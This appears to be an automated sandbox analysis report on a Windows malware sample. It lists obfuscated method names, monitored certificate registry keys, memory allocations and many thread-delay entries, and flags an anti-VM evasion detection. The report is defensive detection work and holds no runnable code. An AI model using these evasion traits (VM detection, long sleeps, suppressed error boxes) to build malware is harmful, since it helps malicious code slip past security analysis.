Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, dMT0J36KgiXLqyndUk.cs	High entropy of concatenated method names: 'wDCnO7mkhF', 'SQ2nJDvVLY', 'zHDndIvagV', 'o0Nn7a3xHf', 'p11nsxbRHX', 'KRinB3jFBR', 'SpUnvYHqhj', 'a28nqwXnPy', 'e1anoPFi5y', 'fvEn4jALXD'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, s387lUPm2nPWXeDq5xs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'oZQyn64gIV', 'l5ty5oGoPL', 'qZRybhqqQY', 'b4cyyTXWwq', 'k9ByVSRBm7', 'ycyy1tkHVF', 'trKygSEFud'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, ykPq5omwCQe1PnGFFW.cs	High entropy of concatenated method names: 'xSnPfCesRo', 'hfdPwy7v4N', 'FEVP2EQ49s', 'bsPPawglpC', 'B3FPkbiedQ', 'Lh4PM7Z6pf', 'V4CF4q9cGfKgjQj9qi', 'u4d1fPX9JDseSKX295', 'YMsc6O4xH1SMCcfnwb', 'qaCPPKwmon'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, YpOgcdvXpYEKdaKsxV.cs	High entropy of concatenated method names: 'IG1fRrYNds', 'eH7f9MUqT4', 'S1ufYaRHct', 'VVEYtjeVGn', 'JMsYzw5ixe', 'FfDfW8x1C9', 'NEhfPbfSXr', 'oKJfEJldnc', 'kmafcbHMws', 'WK3fmomkcW'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, FuZBunonvZSp1ve4RB.cs	High entropy of concatenated method names: 'kPafNDcApS', 'q0oflvAPxj', 'VPXfDFhhbt', 'bGtf8wbSc5', 'cMffG5Xw49', 'hSOfeURGiH', 'gBJfC4MaOH', 'KjLfLb0IYm', 'z5efIBlVWF', 'uumfSWRIYA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe.4a23810.0.raw.unpack, sCesRoL9fdy7v4Nm93.cs	High entropy of concatenated method names: 'fsZXKa0CcC', 'P5aXAw57Sq', 'Tb1XHuSTC9', 'bjRXrsoRPR', 'EH4XjL5Rse', 'DxkX39Li8h', 'CXhXi2abWx', 'QMRX0mF7i1', 'bxZX6hPnI0', 'yRZXtr4e2A'

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe PID: 2828, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: 1330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: 3020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: 1590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: 9430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: 7D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: A430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: B430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: BB30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: CB30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: DB30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: 2760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Memory allocated: 4860000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239874	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239766	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239641	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239516	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239405	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239297	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239188	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 239063	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238938	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238828	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238716	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238608	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238500	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238391	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 238200	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599749	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599526	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599281	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598718	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598169	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597824	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597483	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596827	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596498	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596387	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596274	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596159	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 596040	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595907	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.10909.3543.exe	Thread delayed: delay time: 595735	Jump to behavior
